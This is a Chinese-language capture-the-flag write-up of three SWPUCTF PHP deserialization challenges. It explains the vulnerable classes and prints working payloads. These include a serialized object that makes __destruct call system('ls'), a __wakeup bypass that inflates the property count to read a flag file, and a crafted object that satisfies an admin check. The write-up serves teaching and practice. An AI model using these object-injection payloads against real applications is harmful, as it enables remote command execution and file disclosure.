[SWPUCTF 2022 新生赛]1z_unserialize
这段代码定义了一个名为lyh
的类。该类具有三个属性:url
、lt
和lly
,以及一个析构函数__destruct()
。
属性url
被初始化为字符串"NSSCTF.com"。属性lt
和lly
没有被初始化,它们的值将由传递给unserialize()
函数的数据来决定。
析构函数__destruct()
被定义为在对象销毁时自动调用的方法。在这个析构函数中,代码首先将属性lt
的值赋给变量$a
,然后调用$a
所代表的函数,并将属性lly
作为参数传递给该函数。
接下来,代码使用unserialize()
函数对$_POST['nss']
中的数据进行反序列化操作。$_POST['nss']
是从POST请求中获取的数据,它包含了一个序列化后的对象的字符串表示。
最后,代码使用highlight_file(__FILE__)
函数来高亮显示当前文件的源代码。
直接用构造方法构造POC更改$lt
和$lly
<?php
class lyh{
public $url = 'NSSCTF.com';
public $lt="system";
public $lly="ls";
}
$demo = new lyh();
echo serialize($demo);
得到flag
[SWPUCTF 2022 新生赛]ez_ez_unserialize
这段代码定义了一个名为X
的类,具有以下几个方法和属性:
public $x = __FILE__;
:这个属性存储了当前文件的路径。function __construct($x)
:这个构造函数接受一个参数$x
,并将其赋值给$this->x
。function __wakeup()
:这个魔术方法在反序列化时被调用。它检查$this->x
是否与当前文件的路径不同,如果不同则将$this->x
设置为当前文件的路径。function __destruct()
:这个析构函数在对象被销毁时被调用。它使用highlight_file()
函数来高亮显示$this->x
所指向的文件的源代码。
接下来的代码块是一个条件判断,检查是否存在$_REQUEST['x']
参数。如果存在,它尝试对$_REQUEST['x']
进行反序列化操作(使用@
符号进行错误抑制)。否则,它将高亮显示当前文件的源代码。
在代码的最后,有一个字符串x1.00
,它可能是一个错误或无意义的部分。
根据代码的逻辑,如果我们通过传递一个经过序列化的X
对象的实例作为$_REQUEST['x']
参数,那么在反序列化时,__wakeup()
方法将检查$this->x
是否与当前文件的路径不同。如果不同,它会将$this->x
设置为当前文件的路径。最后,在对象被销毁时,__destruct()
方法将高亮显示$this->x
所指向的文件的源代码。
绕过__wakeup()魔术方法检测,把成员数改成大于实际数量
<?php class X { public $x ='fllllllag.php'; } $a=new X(); print_r(serialize($a)); ?>
O:1:"X":1:{s:1:"x";s:13:"fllllllag.php";}
将其修改为x=O:1:"X":2:{s:1:"x";s:13:"fllllllag.php";}
得到flag
[SWPUCTF 2021 新生赛]ez_unserialize
[SWPUCTF 2021 新生赛]ez_unserialize
上面没有直接显示题目
使用御剑进行扫描
访问robots.txt文件
里面有显示题目
只要满足 ($this->admin === "admin" && $this->passwd === "ctf")
即admin="admin",passwd="ctf"
<?php
class wllm{
public $admin;
public $passwd;
public function __construct(){
$this->admin ="user";
$this->passwd = "123456";
}
public function __destruct(){
if($this->admin === "admin" && $this->passwd === "ctf"){
include("flag.php");
echo $flag;
}else{
echo $this->admin;
echo $this->passwd;
echo "Just a bit more!";
}
}
}
$w=new wllm();
$w->admin="admin";
$w->passwd="ctf";
$w=serialize($w);
echo $w;
?>
?p=O:4:"wllm":2:{s:5:"admin";s:5:"admin";s:6:"passwd";s:3:"ctf";}